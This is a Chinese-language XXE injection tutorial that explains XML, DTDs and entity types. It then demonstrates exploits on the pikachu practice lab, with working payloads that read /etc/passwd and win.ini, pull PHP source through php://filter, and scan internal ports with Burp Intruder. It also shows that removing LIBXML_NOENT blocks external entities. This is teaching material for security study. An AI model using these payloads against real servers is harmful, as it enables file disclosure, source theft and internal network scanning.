XXE的含义
XXE(XML External Entity Injection)全称为XML外部实体注入,由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。例如PHP中的simplexml_load默认情况下会解析外部实体,有XXE漏洞的标志性函数为simplexml_load_string()。XXE是针对解析XML输入的应用程序的一种攻击。 当弱配置的XML解析器处理包含对外部实体的引用的XML输入时,就会发生此攻击。 这种攻击可能导致信息泄露,命令执行,拒绝服务,SSRF,内网端口扫描以及其他系统影响。
学***E要先从XML格式,和DTD开始
xml格式
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading
><body>Don't forget the meeting!</body>
</note>
DTD
作用:用来检验xml的格式是否合法
文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
内部的 DOCTYPE 声明
假如 DTD 被包含在您的 XML 源文件中,它应当通过下面的语法包装在一个 DOCTYPE 声明中:
<!DOCTYPE 根元素 [元素声明]>
格式好看点的就可以写成这样
<!DOCTYPE 根元素
[
元素声明(也就是ENTITY的声明)
]>
外部文档声明
假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:
<!DOCTYPE 根元素 SYSTEM "文件名">
实体
实体可以理解为变量,其必须在DTD中定义申明,可以在文档中的其他位置引用该变量的值。
实体类别
实体按类型主要分为以下四种:
内置实体 (Built-in entities)
字符实体 (Character entities)
通用实体 (General entities)
参数实体 (Parameter entities)
实体根据引用方式,还可分为内部实体与外部实体,看看这些实体的申明方式。
完整的实体类别可参考 DTD - Entities
参数实体用%实体名称申明,引用时也用%实体名称;其余实体直接用实体名称申明,引用时用&实体名称。
参数实体只能在DTD中申明,DTD中引用;其余实体只能在DTD中申明,可在xml文档中引用。
内部实体:
<!ENTITY 实体名称 "实体的值">
外部实体:
<!ENTITY 实体名称 SYSTEM "URI">
参数实体:
参数实体:<!ENTITY % 实体名称 "实体的值">或者参数的外部实体<!ENTITY % 实体名称 SYSTEM "URI">
实例演示:除参数实体外实体+内部实体
#xml版本标识
<?xml version="1.0" encoding="utf-8"?>
#DTD声明验证
<!DOCTYPE a #**内部的 DOCTYPE 声明**
[
<!ENTITY name "nMask">
]>
#xml内容
<foo>
<value>&name;</value>
</foo>
实例演示:参数实体+外部实体
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a
[
<!ENTITY % name SYSTEM "file:///etc/passwd"> %name;
]>
注意:%name(参数实体)是在DTD中被引用的,而&name(其余实体)是在xml文档中被引用的。
由于xxe漏洞主要是利用了DTD引用外部实体导致的漏洞,那么重点看下能引用哪些类型的外部实体。
如下是xml文档和对应的用于检验xml的DTD
总结一下XML格式
例子一:
<?xml version="1.0" encoding="UTF-8"?> #这是声明xml格式的版本,和编码方式
<!DOCTYPE ANY
[
<!ENTITY words "Hello XXE !"> # words是个内部实体,也可以理解为一个变量,而Hello XXE!是他的值
# <!ENTITY 实体名称 "实体的值">这是内部实体声明的格式
]>
<root>&words;</root> # &words也就是在引用words,也就是会解析执行
例子二:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe
[
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" > # <!ENTITY 实体名称 SYSTEM "值">这是外部实体的声明
]>
<root><name>&xxe;</name></root>
漏洞利用过程(pikachu)
检测漏洞
实验检测的payload
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ANY [ <!ENTITY words "Hello XXE !">]><root>&words;</root>
把它写得明显一点就是下面这样
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY
[
<!ENTITY words "Hello XXE !">
]>
<root>&words;</root>
payload注入后回显
接下来检测该端点是否支持DTD引用外部实体:
c:/windows/win.ini是每个windows系统都有的文件,如果确定服务器是windows系统,就可以用该文件来确定是否有xxe漏洞
输入payload(以下代码中xxe是外部实体的实体名称):
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]>
<foo>&xxe;</foo>
即可查看c:/windows/win.ini的内容如下图
接下来想要查看其他系统敏感文件,只要以该文件路径替换掉c:/windows/win.ini就可以了
其它利用点
查看php源代码
查看php源代码一般用php伪协议php://filter
这里构造payload:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=D:/1.php" > ]>
<foo>&xxe;</foo>
就可以得到base64编码的1.php文件源代码
爆破开放端口
在输入框中输入下面两段xml代码,虽然返回结果都是那段“友善”的提示,但是肉眼可见处理速度是不同的
原因是服务器80端口是开放的,而81端口是关闭的
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://127.0.0.1:80" > ]>
<foo>&xxe;</foo>
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://127.0.0.1:81" > ]>
<foo>&xxe;</foo>
那我们就可以burpsuite抓包之后进行爆破了
浏览器中提交上面的代码,并在burpsuite的proxy模块抓到下面的报文,send to intruder
这里为了演示,搞简单点,仅爆破1~100这100个端口,按照下图设置intruder模块
最后点一下response received列,让报文根据这列值的大小排序,可以发现1~100的端口中只有80端口开放
深思:如果没有LIBXML_NOENT
服务器上的代码主要是下图49行simplexml_load_string()函数中使用了LIBXML_NOENT参数,导致外部实体可以被解析,才造成了xxe漏洞
下面将这个参数删掉,看看服务器解析内部实体和外部实体是否有区别
输入以下payload(内部实体),可以被正确解析:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe "仙女" > ]>
<foo>&xxe;</foo>
输入以下payload(外部实体),不可以被解析:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]>
<foo>&xxe;</foo>
文章参考:
1.https://blog.csdn.net/elephantxiang/article/details/113812331
2.https://blog.csdn.net/weixin_44420143/article/details/118721145